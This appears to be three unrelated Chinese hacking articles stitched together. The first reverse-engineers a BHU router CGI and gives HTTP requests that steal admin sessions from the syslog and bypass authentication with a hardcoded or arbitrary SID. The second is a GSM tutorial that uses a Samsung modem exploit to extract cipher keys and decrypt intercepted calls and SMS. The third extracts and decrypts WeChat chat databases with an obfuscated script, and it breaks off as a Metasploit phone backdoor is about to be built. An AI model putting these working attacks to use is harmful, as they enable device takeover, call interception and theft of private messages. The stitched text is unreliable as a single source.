LOAD:004012BC la $t9, strcmp (18) # arg0 = “file”参数的值 LOAD:004012C0 addiu $a1, $sp, 0x60+var_48 (19) # arg1 = “syslog” LOAD:004012C4 lw $a0, file_syslog # "syslog" LOAD:004012C8 addu $v0, $a1, $v1 (20) # 文件的值是否是 “syslog”? LOAD:004012CC jalr $t9 ; strcmp LOAD:004012D0 sb $zero, 0($v0) LOAD:004012D4 lw $gp, 0x60+var_50($sp) (21) # Jump if value of “file” != “syslog” (如果file参数的值不是syslog,那么就jump) LOAD:004012D8 bnez $v0, loc_not_syslog LOAD:004012DC addiu $v0, $s0, (file_syslog - 0x410000) (22) # Return “/var/syslog” if “syslog” (如果是syslog,那么就读取/var/syslog文件) LOAD:004012E0 lw $v0, (path_syslog - 0x416500)($v0) # "/var/syslog" LOAD:004012E4 b loc_4012F0 LOAD:004012E8 nop LOAD:004012EC # --------------------------------------------------------------------------- LOAD:004012EC LOAD:004012EC loc_4012EC: # CODE XREF: get_file_handler+C8|j (23) # 其它情况返回NULL(空值) LOAD:004012EC move $v0, $zero 上面这个函数主要是说明,如果file参数的值是syslog,那么就会读取var目录下的syslog文件。我花了点时间对于这个页面的参数进行了一些分析得出以下结论: 1. page=[<html页面的名称>] 参数值末端都以.html结尾 打开文件,并且返回值 我尝试过去读取其它文件,但是没用,它只能读取HTML文件 2.xml=[<配置名称>] 访问配置名称 XML类型的值 3.file=[syslog] 访问/var/syslog文件 打开文件并且返回内容 4. cmd=[system_ready] 可以返回管理员密码的第一个和最后一个明文信息,可以提升暴力破解的成功率。 该漏洞还有30秒到达战场 我比较在意的是“file”参数。一般调用系统文件都需要二次验证的,比如cookie,ssid之类的,而且系统日志大部分都有脱敏,不会保留什么敏感信息,但是事实呢? 我于是尝试构造了一个请求。 GET /cgi-bin/cgiSrv.cgi?file=[syslog] HTTP/1.1 Host: 192.168.62.1 X-Requested-With: XMLHttpRequest Connection: close 返回的数据包: HTTP/1.1 200 OK Content-type: text/plain Jan 1 00:00:09 BHU syslog.info syslogd started: BusyBox v1.19.4 Jan 1 00:00:09 BHU user.notice kernel: klogger started! Jan 1 00:00:09 BHU user.notice kernel: Linux version 2.6.31-BHU (yetao@BHURD-Software) (gcc version 4.3.3 (GCC) ) #1 Thu Aug 20 17:02:43 CST 201 /* [omitted] */ Jan 1 00:00:11 BHU local0.err dms[549]: Admin:dms:3 sid:700000000000000 id:0 login /* [omitted] */ Jan 1 08:02:19 HOSTNAME local0.warn dms[549]: User:admin sid:2jggvfsjkyseala index:3 login 居然包含了管理员的cookie,sid等信息。但是,或许这个cookie是历史cookie,没办法继续使用,你不信?那么我给你演示一下。我用这个cookie带入了一个路由器重启界面,然后,路由器居然重启了??!! 但是这个漏洞利用起来还是有一些缺陷,假设管理员没登陆过系统,或者把登陆记录清楚了,那么怎么办呢?注意看上面的数据包,它还返回了一个sid:700000000000000。我初步看了一下,所有的必虎路由器的管理员SID都是700000000000000,并且管理员都没有办法更改它。那么我们可否把SID当作cookie来用?答案是可以的,如下图所示。 该漏洞已经大杀特杀 虽然我们已经有管理员权限了,但是我们继续看看还有什么可以利用的地方。我继续使用IDA检查了POST的函数处理模块,然而它似乎比GET类型的函数模块更加可怕。 我把这些if模块又分成了A,B,C三个模块,让我们先看看A模块吧。 LOAD:00403424 la $t9, cgi_input_parse LOAD:00403428 nop (24) # 调用 cgi_input_parse() LOAD:0040342C jalr $t9 ; cgi_input_parse LOAD:00403430 nop LOAD:00403434 lw $gp, 0x658+var_640($sp) (25) # arg1 = “op” LOAD:00403438 la $a1, aOp # "op" LOAD:00403440 la $t9, find_val (26) # arg0 = request的Body部分 LOAD:00403444 move $a0, $v0 (27) # 得到“op”参数的值 LOAD:00403448 jalr $t9 ; find_val LOAD:0040344C move $s1, $v0 LOAD:00403450 move $s0, $v0 LOAD:00403454 lw $gp, 0x658+var_640($sp) (28) # 如果没有“op”参数,那么就退出 LOAD:00403458 beqz $s0, b_exit 这个模块会对POST请求进行解析,并且调用cgi_input_parse()。,并且在(25)部分尝试提取参数op的值。而op的值主要是通过find_val函数调用body的部分得到的。如果op有值,就进行到B模块,否则就执行退出。那么我们再来看看B模块的逆向。 LOAD:004036B4 la $t9, strcmp (29) # arg1 = “reboot” LOAD:004036B8 la $a1, aReboot # "reboot" (30) # “op” 的值是否是“reboot”? LOAD:004036C0 jalr $t9 ; strcmp (31) # arg0 = body[“op”] LOAD:004036C4 move $a0, $s0 LOAD:004036C8 lw $gp, 0x658+var_640($sp) LOAD:004036CC bnez $v0, loc_403718 LOAD:004036D0 lui $s2, 0x40 这里主要说明,如果op参数的值是reboot,那么会继续到C模块。 (32) # 检查cookie中的SID值 LOAD:004036D4 jal get_cookie_sid LOAD:004036D8 nop LOAD:004036DC lw $gp, 0x658+var_640($sp) (33) # SID的Cookie将作为dml_dms_ucmd的第一个参数传递 LOAD:004036E0 move $a0, $v0 LOAD:004036E4 li $a1, 1 LOAD:004036E8 la $t9, dml_dms_ucmd LOAD:004036EC li $a2, 3 LOAD:004036F0 move $a3, $zero (34) # 分发任务给dml_dms_ucmd LOAD:004036F4 jalr $t9 ; dml_dms_ucmd LOAD:004036F8 nop 首先,它会先调用一个函数,我把它叫做get_cookie_sid(32部分),然后再把值赋予给dml_dms_ucmd(33部分),然后再调用它(34部分)。随后又会进行到下一步。 (35) # 在v1参数内保存返回的值 LOAD:004036FC move $v1, $v0 LOAD:00403700 li $v0, 0xFFFFFFFE LOAD:00403704 lw $gp, 0x658+var_640($sp) (36) # Is v1 != 0xFFFFFFFE? (v1是否不等于0xFFFFFFFE?) LOAD:00403708 bne $v1, $v0, loc_403774 LOAD:0040370C lui $a0, 0x40 (37) # If v1 == 0xFFFFFFFE jump to error message (如果v1等于0xFFFFFFFE,那么就跳转到错误信息) LOAD:00403710 b loc_need_login LOAD:00403714 nop /* [omitted] */ LOAD:00403888 loc_need_login: # CODE XREF: handle_post+9CC|j LOAD:00403888 la $t9, mime_header LOAD:0040388C nop LOAD:00403890 jalr $t9 ; mime_header LOAD:00403894 addiu $a0, (aTextXml - 0x400000) # "text/xml" LOAD:00403898 lw $gp, 0x658+var_640($sp) LOAD:0040389C lui $a0, 0x40 (38) # 输出错误信息“need_login” LOAD:004038A0 la $t9, printf LOAD:004038A4 b loc_4038D0 LOAD:004038A8 la $a0, aReturnItemResu # "<return>\n\t<ITEM result=\"need_login\""... 但是假设我们不带入然后值到v1参数(即SID为NULL),那么会怎么样呢?我于是尝试了一下。 然后我分析了一下这整个程序的逻辑: 1.收到op参数 2.调用get_cookie_sid 3.调用dms_dms_ucmd 虽然在GET模块,这个指令应该会执行的,但是在POST的过程中始终会验证SID,这个就有点蛋疼了。 怎么绕过去呢?继续分析get_cookie_sid函数模块。 LOAD:004018C4 get_cookie_sid: # CODE XREF: get_xml_handle+20|p /* [omitted] */ LOAD:004018DC la $t9, getenv LOAD:004018E0 lui $a0, 0x40 (39) # 得到HTTP cookies LOAD:004018E4 jalr $t9 ; getenv LOAD:004018E8 la $a0, aHttp_cookie # "HTTP_COOKIE" LOAD:004018EC lw $gp, 0x20+var_10($sp) LOAD:004018F0 beqz $v0, failed LOAD:004018F4 lui $a1, 0x40 LOAD:004018F8 la $t9, strstr LOAD:004018FC move $a0, $v0 (40) # cookie中是否包含“sid=”? LOAD:00401900 jalr $t9 ; strstr LOAD:00401904 la $a1, aSid # "sid=" LOAD:00401908 lw $gp, 0x20+var_10($sp) LOAD:0040190C beqz $v0, failed LOAD:00401910 move $v1, $v0 /* [omitted] */ LOAD:00401954 loc_401954: # CODE XREF: get_cookie_sid+6C|j LOAD:00401954 addiu $s0, (session_buffer - 0x410000) LOAD:00401958 LOAD:00401958 loc_401958: # CODE XREF: get_cookie_sid+74|j LOAD:00401958 la $t9, strncpy LOAD:0040195C addu $v0, $a2, $s0 LOAD:00401960 sb $zero, 0($v0) (41) # 在“session_buffer”中复制cookie的值 LOAD:00401964 jalr $t9 ; strncpy LOAD:00401968 move $a0, $s0 LOAD:0040196C lw $gp, 0x20+var_10($sp) LOAD:00401970 b loc_40197C (42) # 把这个值赋予cookie LOAD:00401974 move $v0, $s0 get_session_cookie在得到一个请求后,会检查cookie中是否有sid=这个字符集。如果有,那么某处全局变量将会赋值一个cookie给该参数。当调用dml_dms_ucmd时,返回的值都会用作于第一个参数,而这一切都是在libdml.so函数库中实现。那么也就是说,对于cookie的效验都是在这个库中进行的,那么让我们来看一下这个库。 .text:0003B368 .text:0003B368 .globl dml_dms_ucmd .text:0003B368 dml_dms_ucmd: .text:0003B368 /* [omitted] */ .text:0003B3A0 move $s3, $a0 .text:0003B3A4 beqz $v0, loc_3B71C .text:0003B3A8 move $s4, $a3 (43) # 记住 a0 = SID cookie的值 # 或者可以说是,如果a0什么都不包含(NULL),那么s1 = 0xFFFFFFFE .text:0003B3AC beqz $a0, loc_exit_function .text:0003B3B0 li $s1, 0xFFFFFFFE /* [omitted] */ .text:0003B720 loc_exit_function: # CODE XREF: dml_dms_ucmd+44|j .text:0003B720 # dml_dms_ucmd+390|j ... .text:0003B720 lw $ra, 0x40+var_4($sp) (44) # 返回 s1 (s1 = 0xFFFFFFFE) .text:0003B724 move $v0, $s1 /* [omitted] */ .text:0003B73C jr $ra .text:0003B740 addiu $sp, 0x40 .text:0003B740 # End of function dml_dms_ucmd 只要我第一个参数不要带入空(NULL),那么就不会返回0xFFFFFFFE(-2)。也就是说我cookie随便填写一个都可以成为管理员?! 好吧,我随便写了个cookie,然后进行重启,依然生效了。。。。。花费那么长时间,居然发现cookie可以随意设定!但是一切都是值得的,我起码知道这个问题出在哪里了。 漏洞已经跑到对方血池大杀特杀了 我简单整理了一下前面的工作,然后总结出以下方法可以得到管理员权限: 1. SID写任意字符,只要不为空就行。 2. 查看系统日志得到管理员的cookie 3. SID的值为700000000000000即可 我们现在已经知道了POST模块的处理过程和op参数的基本逻辑,但是这个模块还可以处理一些XML请求,让我们对它继续分析下去。 /* [omitted] */ LOAD:00402E2C addiu $a0, $s2, (aContent_type - 0x400000) # "CONTENT_TYPE" LOAD:00402E30 la $t9, getenv LOAD:00402E34 nop (45) # 收到“CONTENT_TYPE”的请求 LOAD:00402E38 jalr $t9 ; getenv LOAD:00402E3C lui $s0, 0x40 LOAD:00402E40 lw $gp, 0x658+var_640($sp) LOAD:00402E44 move $a0, $v0 LOAD:00402E48 la $t9, strstr LOAD:00402E4C nop (46) # 是否属于“text/xml” 请求? LOAD:00402E50 jalr $t9 ; strstr LOAD:00402E54 addiu $a1, $s0, (aTextXml - 0x400000) # "text/xml" LOAD:00402E58 lw $gp, 0x658+var_640($sp) LOAD:00402E5C beqz $v0, b_content_type_specified /* [omitted] */ (47) # 得到SID cookie的值 LOAD:00402F88 jal get_cookie_sid LOAD:00402F8C and $s0, $v0 LOAD:00402F90 lw $gp, 0x658+var_640($sp) LOAD:00402F94 move $a1, $s0 LOAD:00402F98 sw $s1, 0x658+var_648($sp) LOAD:00402F9C la $t9, dml_dms_uxml LOAD:00402FA0 move $a0, $v0 LOAD:00402FA4 move $a2, $s3 (48) # 调用‘dml_dms_uxml’函数模块, 并且对body部分和cookie进行效验 LOAD:00402FA8 jalr $t9 ; dml_dms_uxml LOAD:00402FAC move $a3, $s2 继续往下看,貌似dml_dms_uxml比dml_dms_ucmd更加奇葩。 .text:0003AFF8 .globl dml_dms_uget_xml .text:0003AFF8 dml_dms_uget_xml: /* [omitted] */ (49) # 把SID的值复制到s1内 .text:0003B030 move $s1, $a0 .text:0003B034 beqz $a2, loc_3B33C .text:0003B038 move $s5, $a3 (50) # 如果SID的值为空(NULL) .text:0003B03C bnez $a0, loc_3B050 .text:0003B040 nop .text:0003B044 la $v0, unk_170000 .text:0003B048 nop (51) # 那么就把空的SID值替换为一个硬件编码(700000000000000) .text:0003B04C addiu $s1, $v0, (a70000000000000 - 0x170000) # "700000000000000" /* [omitted] */ 这个逻辑的感觉就好像是,如果你的没有钱买东西,那么我会给你钱去消费。OMG!真TM人性化的设计!总的来说,如果要使用这个功能,cookie可以直接为空。那么可以构造数据包如下: POST /cgi-bin/cgiSrv.cgi HTTP/1.1 Host: 192.168.62.1 Content-Type: text/xml X-Requested-With: XMLHttpRequest Content-Length: 59 Connection: close <cmd> <ITEM cmd="traceroute" addr="127.0.0.1" /> </cmd> 继续研究发现还可以命令执行: 这个路由器就像个定时炸弹一样,搞一台在家里面可能莫名其妙的就被人家装上后门监听着了。 * 参考来源:ioactive
0×00 在文章第一部分 GSM Hacking Part① :使用SDR扫描嗅探GSM网络 搭建了嗅探GSM流量的环境,在第二部中,我们来讨论如何捕获发短信以及通话过程中的流量,从捕获到的数据中解密提取出短信文字以及通话语音。 0×01 1.1 获取三星漏洞利用代码: 这是三星的Modem interface exposed via USB通过该exp可对设备输入AT指令进行调试(此方法仅适用于:Galaxy Note 3、Galaxy S4、Galaxy S5、Galaxy S6)。 AT 即Attention,AT指令用于终端设备与PC应用之间的连接与通信。 wget https://raw.githubusercontent.com/ud2/advisories/master/android/samsung/nocve-2016-0004/usbswitcher.c 1.2 源码编译libusb: wget http://jaist.dl.sourceforge.net/project/libusb/libusb-0.1%20%28LEGACY%29/0.1.12/libusb-0.1.12.tar.gz tar zxvf libusb-0.1.12.tar.gz cd libusb-0.1.12/ ./configure make make install sudo ldconfig 1.3 gcc编译PoC: gcc usbswitcher.c -o switcher -lusb 0×02 获取Kc、TMSI参数 插入三星设备,可以在/dev/ttyACM*中找到它: 2.1 switcher busybox microcom /dev/ttyACM0 ./switcher 这一步比较尴尬,需要反复执行才能成功进入交互界面,如果实在不行可以尝试下一种方式,使用minicom: 2.2 minicom minicom -D /dev/ttyACM0 通过AT指令获取Kc\TMSI可参阅:Attacking the Baseband Modem of Mobile Phones to Breach the users’ Privacy and network Security 2.3 Kc GSM系统中的加密也只是指无线路径上的加密,防止BTS和MS之间交换客户信息和客户参数时不被非法个人或团体所得或监听,在鉴权程序中,当客户侧计算SRES三参数组的提供时,同时用另一算法(A8算法)也计算出密钥Kc。根据MSC/VLR发送出的加密命令,BTS侧和MS侧均开始使用Kc。在MS侧,由Kc、TDAM帧号和加密命令M一起经A5算法,对客户信息数据流进行加密,在无线路径上传送。在BTS侧,把从无线信道上收到加密信息数据流、TDMA帧号和Kc,再经过A5算法解密后,传送BSC和MSC。可以通过AT指令获取KC值: AT+CRSM=176.28448,0,0,9 演示视频中,Crazy Danish Hacker获得了该值为:5973237C3E96980303 丢弃最后两位,即:5973237C3E9698033 0×03 信号捕获 3.1 确定当前手机接入基站 手机在连入GSM基站时,我们可通过一些方式确定自己手机连入的是哪个基站、ARFCN是多少,安卓手机在2G状态时,可在键盘拨号界面输入 *#*#4636#*#* 上面这个是安卓通用的如果你的手机没反应,还可以尝试 Samsung (Android) : *#*#197328640#*#* or *#0011# iPhone (all) : *3001#12345#*拨号 HTC (Android) : *#*#7262626#*#* 进去以后能找到基站的MCC、MNC、ARFCN这些参数。 MCC 移动国家码 MNC Mobile Network Code,移动网络码,共2位,中国联通GSM系统使用01,中国移动GSM系统使用02 ARFCN 绝对无线频道编号(Absolute Radio Frequency Channel Number – ARFCN ),是在GSM无线系统中,用来鉴别特殊射频通道的编号方案。 手机开机后,即搜索广播控制信道(BCCH)的载频。因为系统随时都向在小区中的各用户发送出用广播控制信息。手机收集到最强的(BCCH)对应的载频频率后,读取频率校正信道(FCCH),使手机(MS)的频率与之同步。所以每一个用户的手机在不同的位置(即不同的小区)的载频是固定的,它是由GSM网络运营商组网时确定,而不是由用户的GSM手机来决定。 手机读取同步信道(SCH)的信息后找出基地站(BTS)的认别码,并同步到超高帧TDMA的帧号上。手机在处理呼叫前要读取系统的信息。如:领近小区的情况、现在所处小区的使用频率及小区是否可以使用移动系统的国家号码和网络号码等等,这些信息都以BCCH上得到。 手机在请求接入信道(RACH)上发出接入请求的信息,向系统传送SIM卡帐号等信息。系统在鉴权合格后,通过允许接入信道(AGCH)使GSM手机接入信道上并分配给GSM手机一个独立专用控制信道(SDCCH)。手机在SDCCH上完成登记。在慢速随路控制信道(SACCH)上发出控制指令。然后手机返回空闲状态,并监听BCCH和CCCH公共控制信道上的信息。 在Part 1 中937.4MHz这个基站的ARFCN为12,本部分假设我们的手机接入的是这个基站,接下来,我们通过SDR捕获这个基站的下行数据包: 3.2 确定当前基站的下行频率: 打开http://www.cellmapper.net/arfcn.php 结果: Network Type GSM (TDMA) E/U/ARFCN 12 Band Name GSM-900 Uplink Frequency 上行频率 手机到基站 (phone to base station) 892.4 MHz Downlink Frequency 下行频率 基站到手机 (base station to phone) 937.4 MHz Band Number 900 获取Downlink Frequency 下行频率 (base station to phone) :937.4 MHz 写作:937400000 3.3捕获下行数据包: grgsm_capture.py -h linux; GNU C++ version 4.8.4; Boost_105400; UHD_003.010.git-197-g053111dc Usage: grgsm_capture.py [options] RTL-SDR capturing app of gr-gsm. Options: -h, --help show this help message and exit //打印帮助信息 -f FC, --fc=FC Set frequency [default=none] //设定捕获数据的中心频率 -a ARFCN, --arfcn=ARFCN //设定ARFCN Set ARFCN instead of frequency. In some cases you may have to provide the GSM band also -g GAIN, --gain=GAIN Set gain [default=30] //设定gain -s SAMP_RATE, --samp-rate=SAMP_RATE //设定采样率 默认2M Set samp_rate [default=2M] -p PPM, --ppm=PPM Set ppm [default=0] -b BURST_FILE, --burst-file=BURST_FILE File where the captured bursts are saved -c CFILE, --cfile=CFILE File where the captured data are saved --band=BAND Specify the GSM band for the frequency. Available bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM, GSM450, GSM480, GSM850. If no band is specified, it will be determined automatically, defaulting to 0. --args=ARGS Set device arguments [default=] -v, --verbose If set, the captured bursts are printed to stdout -T REC_LENGTH, --rec-length=REC_LENGTH Set length of recording in seconds [default=none] grgsm_capture.py -g 40 -a 12 -s 1000000 -c sms.cfile -T 20 -g 指定gain参数 40 -a ARFCN 12 -s 设定采样率1M -c 将捕获到的数据存入sms.cfile -T 设定时间 命令执行后可以用另外一部手机给接入ARFCN 12基站的手机打电话、发短信,这样我们就实现了捕获通话过程中的语音、短信数据包。 ls -lah sms.cfile 捕获到数据包后再次查看KC、TMSI,确定这两个数值没有改变。 0×04 信号解码 捕获完数据以后再次获取KC TMSI值: minicom -D /dev/ttyACM0 4.1 KC: AT+CRSM=176.28448,0,0,9 演示视频中输出结果为:5973237C3E96980303 丢弃最后两位,即:5973237C3E969803 4.2 TMSI: AT+CRSM=176.28542,0,0,11 演示视频中输出结果为:9062FF7632F8665610FF00 取其前4bytes,也就是前8字节,即:9062FF76 ls -lah voice.cfile 一起来看看解码脚本的用法: decode usage grgsm_decode -h Usage: grgsm_decode: [options] Options: -h, --help show this help message and exit //打印帮助信息 -m CHAN_MODE, --mode=CHAN_MODE Channel mode. Valid options are 'BCCH' (Non-combined C0), 'BCCH_SDCCH4'(Combined C0), 'SDCCH8' (Stand-alone control channel) and 'TCHF' (Traffic Channel, Full rate) -t TIMESLOT, --timeslot=TIMESLOT Timeslot to decode [default=0] -u SUBSLOT, --subslot=SUBSLOT Subslot to decode. Use in combination with channel type BCCH_SDCCH4 and SDCCH8 -b BURST_FILE, --burst-file=BURST_FILE Input file (bursts) -c CFILE, --cfile=CFILE Input file (cfile) -v, --verbose If set, the decoded messages (with frame number and count) are printed to stdout -p, --print-bursts If set, the raw bursts (with frame number and count) are printed to stdout Cfile Options: Options for decoding cfile input. -f FC, --fc=FC Frequency of cfile capture //指定需解码文件的中心频率 (从哪个频率捕获就填多少) -a ARFCN, --arfcn=ARFCN //指定ARFCN 同上,从哪个ARFCN捕获就填多少 Set ARFCN instead of frequency. In some cases you may have to provide the GSM band also --band=BAND Specify the GSM band for the frequency. Available bands are: P-GSM, DCS1800, PCS1900, E-GSM, R-GSM, GSM450, GSM480, GSM850.If no band is specified, it will be determined automatically, defaulting to 0. -s SAMP_RATE, --samp-rate=SAMP_RATE //指定采样率,默认1M Sample rate of cfile capture [default=1M] --ppm=PPM Set frequency offset correction [default=0] Decryption Options: Options for setting the A5 decryption parameters. -e A5, --a5=A5 A5 version [default=1]. A5 versions 1 - 3 supported //设定A5加密算法版本 -k KC, --kc=KC A5 session key Kc. Valid formats are //设定KC值 '0x12,0x34,0x56,0x78,0x90,0xAB,0xCD,0xEF' and '1234567890ABCDEF' TCH Options: Options for setting Traffic channel decoding parameters. -d SPEECH_CODEC, --speech-codec=SPEECH_CODEC TCH-F speech codec [default=FR]. Valid options are FR, EFR, AMR12.2, AMR10.2, AMR7.95, AMR7.4, AMR6.7, AMR5.9, AMR5.15, AMR4.75 -o SPEECH_OUTPUT_FILE, --output-tch=SPEECH_OUTPUT_FILE //将解密后的文件另存为 TCH/F speech output file [default=/tmp/speech.au.gsm]. 在接下来的解码案例中,我们以gr-gsm开源项目的测试数据为例:https://github.com/ptrkrysik/test_data 测试数据已知参数如下: ARFCN:725 采样率:$((100000000/174)) Kc:0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02 wget https://github.com/ptrkrysik/test_data/raw/master/vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile mv vf_call6_a725_d174_g5_Kc1EF00BAB3BAC7002.cfile test.cfile sudo wireshark -i lo grgsm_decode -a 725 -s $((100000000/174)) -m BCCH -t 0 -c test.cfile 在Immediate Assignment中,我们可以确定广播控制信道(HCCH)为: SDCCH、Timeslot:1 使用我们刚刚知道的参数再次解密: grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1 在这一步我们解码出的数据包数量比前几步少了很多,我们可以通过Ciphering Mode Command这一栏的数据包确定A5类型: A5算法在1989年由法国人开发,用于GSM系统的序列密码算法。 A5它用于对从电话到基站连接的加密,先后开发了三个版本记作A5/1、A5/2、A5/3,如果没有特别说明,通常所说的A5是指A5/1。 确定了加密算法,再次执行解密脚本: grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m SDCCH8 -t 1 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02 在cc Setup这一项,可以看到Calling party BCD number – Calling party number(被叫手机显示的主叫号码): Assignment Command一栏信息如下: 在上面这幅图中我们确定了 CHAN_MODE 为TCHF,Timeslot为5,有了这些信息,我们便能从捕获到的文件中提取出通话语音,其效果类似于通话监听: grgsm_decode -a 725 -s $((100000000/174)) -c test.cfile -m TCHF -t 5 -e 1 -k 0x1E,0xF0,0x0B,0xAB,0x3B,0xAC,0x70,0x02 -d FR -o /tmp/test.au.gsm 进入/tmp缓存目录中,已经可以发现一个音频文件了: 安装VLC播放器: sudo apt-get install vlc-nox vlc /tmp/test.au.gsm 耳机了传来歪果仁酸爽“test”的声音。解码出音频的文件:https://pan.baidu.com/s/1i5jn1A1 0×05 refer GSM Sniffing: TMSI & KC Extraction – Software Defined Radio Series #9Voice Decryption 语音解密SMS Decryption 短信解密SMS text messeges and voice calls sniffinghttps://ccdcoe.org/cycon/2015/proceedings/16_xenakis_ntantogian.pdf 原文地址:http://www.freebuf.com/articles/wireless/111577.html
在这篇文章中我们将讨论如何获取安卓、苹果设备中的微信聊天记录,并演示如何利用后门通过Metasploit对安卓设备进行控制。文章比较基础、可动手性强,有设备的童鞋不妨边阅读文章边操作,希望能激发大家对移动终端的安全兴趣。 (文章内容存在一定攻击性,目的在于普及终端安全知识、提高安全意识,如有非法使用,后果自负) “如何获取Android、iPhone手机上的微信聊天记录? ” 0×00 条件: 安卓设备已获取root权限,安装SSHDroid(通过ssh、ftp连接手机) Apple设备越狱,安装OpenSSH插件 0×01 安卓: 很多安卓手机的用户都会遇到这么一个尴尬的问题:手机用久了就不知不觉变得慢了,最后慢到什么都迟钝了。为了解决这个问题和大多数人一样我选择了root设备。 安卓设备在root以后可以对系统文件存在最高级别的操作权限。比如,你在安卓设备上安装了微信,那么root以后通过adb shell你能对微信App的文件配置进行读取修改等操作。 Android应用程序的数据库文件通常会保存在 /data/data/packagename/database 文件夹下,微信App文件存放路径为:/data/data/com.tencent.mm/MicroMsg 首先通过FTP把文件down到本地: 以34位编码(类似于乱码)命名的文件夹中可找到微信账号的加密数据库文件 :EnMicroMsg.db 用数据库管理器打开:提示加密或者不是数据库文件 这里可以用windows环境下的SQLite Database Browser浏览器打开: 提示输入密码: 那么,加密数据库使用的密码是什么呢?我们又该如何获取到这个密码?通过上网查资料了解到:微信采用手机的IMEI值和微信UIN值的组合来对数据进行加密。 微信账号uin:即user information 微信用户信息识别码,获取微信UIN的方式有两种: 1.通过微信app的“system_config_prefs.xml”配置文件获取微信账号uin; 2.通过抓取WEB版微信聊天的数据包获取到uin。 1.1 App 配置文件 find / -name “system_config_prefs.xml” /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml | grep uin <int name="default_uin" value="146****21" /> 1.2 谷歌chrome浏览器登陆WEB版微信: 登陆后新建窗口并访问chrome://net-internals/#events 发送信息 抓包 find uin值 uin:146****21 通过上述两种方法找到的uin值是相同的。 安卓拨号界面输入*#06#获得手机IMEI码:354**********85 IMEI值+uin值组合即为354**********85146****21 md5: http://www.spriteking.com/cmd5/ 左侧加密 得到32位小写md5值:1cbf8b842f8bf650aa65e5d3ced07735取其前七位:1cbf8b8输入到sql浏览器中。 Linux、Mac用户也可以在终端执行: echo -n "354**********85146****21" | md5sum | cut -c -7 成功打开微信的数据库文件: Wechat2txt.py:gist.github.com import os import sys import re import hashlib import csv import time import locale import getopt def get_db(): os.popen('adb root').close() text = os.popen( 'adb shell ls /data/data/com.tencent.mm/MicroMsg/*/EnMicroMsg.db').read() return text.splitlines()[- 1] if text else '' def get_default_uin(): os.popen('adb root').close() text = os.popen( 'adb shell cat /data/data/com.tencent.mm/shared_prefs/system_config_prefs.xml').read() default_uin = re.findall( 'name="default_uin" value="([0-9]+)"', text) return default_uin[0] if default_uin else 0 def get_device_ID(): text = os.popen('adb shell dumpsys iphonesubinfo').read() device_ID = re.findall('Device ID = ([0-9]+)', text) return device_ID[0] if device_ID else 0 def get_md5(): default_uin = get_default_uin() device_ID = get_device_ID() if default_uin and device_ID: return hashlib.md5(device_ID + default_uin).hexdigest()[0: 7] return '' def parse_msgcsv(msgcsv): locale.setlocale(locale.LC_ALL, '') if hasattr(msgcsv, 'title'): msgcsv = [ooOoo0O + '\n' for ooOoo0O in msgcsv.splitlines()] pass OooO0 = csv.reader(msgcsv) OooO0.next() for ooOoo0O in OooO0: try: II11iiii1Ii, OO0o, Ooo, O0o0Oo, Oo00OOOOO, O0O, O00o0OO, name, iIi1ii1I1, o0, I11II1i, IIIII = ooOoo0O[ : 12] pass except: continue ooooooO0oo = 'me' if (Oo00OOOOO == '1') else name IIiiiiiiIi1I1 = time.localtime(int(O00o0OO) / 1000) I1IIIii = time.strftime("%Y-%m-%d %a %H:%M:%S", IIiiiiiiIi1I1) yield [name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0] pass pass def get_names(chat): names = {} for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat: names[name] = 1 pass return names.keys() def oo(chat, name=''): text = [] name = name.lower() for name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0 in chat: iIi1ii1I1 = iIi1ii1I1.replace('\n', '\n ') o0 = ('\t' + o0) if o0 else '' if not name: text.append('%s: %s %s: %s %s' % (name, I1IIIii, ooooooO0oo, iIi1ii1I1, o0)) pass elif name.lower() == name: text.append('%s %s: %s %s' % (I1IIIii, ooooooO0oo, iIi1ii1I1, o0)) pass pass return '\n'.join(text) + '\n' def IIIii1II1II(dbn, key=''): child_stdin, child_stdout = os.popen2(['sqlcipher', dbn]) if key: child_stdin.write('PRAGMA key=%s;\n' % ` key `) child_stdin.write('pragma cipher_use_hmac=off;\n') pass child_stdin.write('.tables\n') child_stdin.close() return child_stdout.read().split() def decrypt(dbn, key='', table='message'): table = table or 'message' child_stdin, child_stdout = os.popen2(['sqlcipher', dbn]) child_stdin.write('.header on\n') child_stdin.write('.mode csv\n') if key: child_stdin.write('PRAGMA key=%s;\n' % ` key `) child_stdin.write('pragma cipher_use_hmac=off;\n') pass child_stdin.write('select * from %s;\n' % ` table `) child_stdin.close() return child_stdout.read() def wechat2txt(names=[]): in_file = 'EnMicroMsg.db' out_file = 'message.csv' db = get_db() md5 = get_md5() os.popen('adb wait-for-device') os.popen('adb pull %s %s' % (db, in_file)).close() msgcsv = decrypt(in_file, md5) if msgcsv.find('\n') < 0: return 1 file(out_file, 'w').write(msgcsv) msgs = list(parse_msgcsv(msgcsv)) if not msgs: return 1 if not names: names = get_names(msgs) pass for name in names: filename = 'message.%s.txt' % name text = oo(msgs, name) if len(text) > 4: file(filename, 'w').write(text) pass pass pass help_msg = '''Usage: wechat2txt.py [OPTIONS] [NAME]... OPTIONS: -h display this help and exit ''' def main(): try: opts, args = getopt.getopt(sys.argv[1:], 'h') except getopt.error, e: print help_msg return 1 for opt, arg in opts: if opt == '-h': print help_msg return 1 pass names = args text = wechat2txt(names) return not text if __name__ == "__main__": sys.exit(main()) 0×02 苹果: Apple设备越狱后可通过Cydia安装各种小插件,通常情况我会安装OpenSSH来使自己能通过终端连接到Apple设备中,并使用sftp传输文件: iOS中,应用文件夹以hash值命名,要导出微信、QQ的聊天记录其难度相对安卓来说稍微复杂很多。 在实际操作中我们可以通过巧用Linux命令(find、grep、xargs)来绕过这些坑。 find /var/mobile/Containers/Data -name "MM.sqlite" mkdir /cache find /var/mobile/Containers/Data -name "MM.sqlite" |xargs -I {} dirname {} | xargs -I {} cp -r {}/../../ /cache 在越狱iOS窃取隐私可参考:隐匿在iOS文件系统中的隐私信息 一文 0×03 在安卓终端植入后门 3.1 实验环境 Kali Linux(Hack):192.168.31.213 Android(靶机):192.168.31.118 3.2生成后门文件: 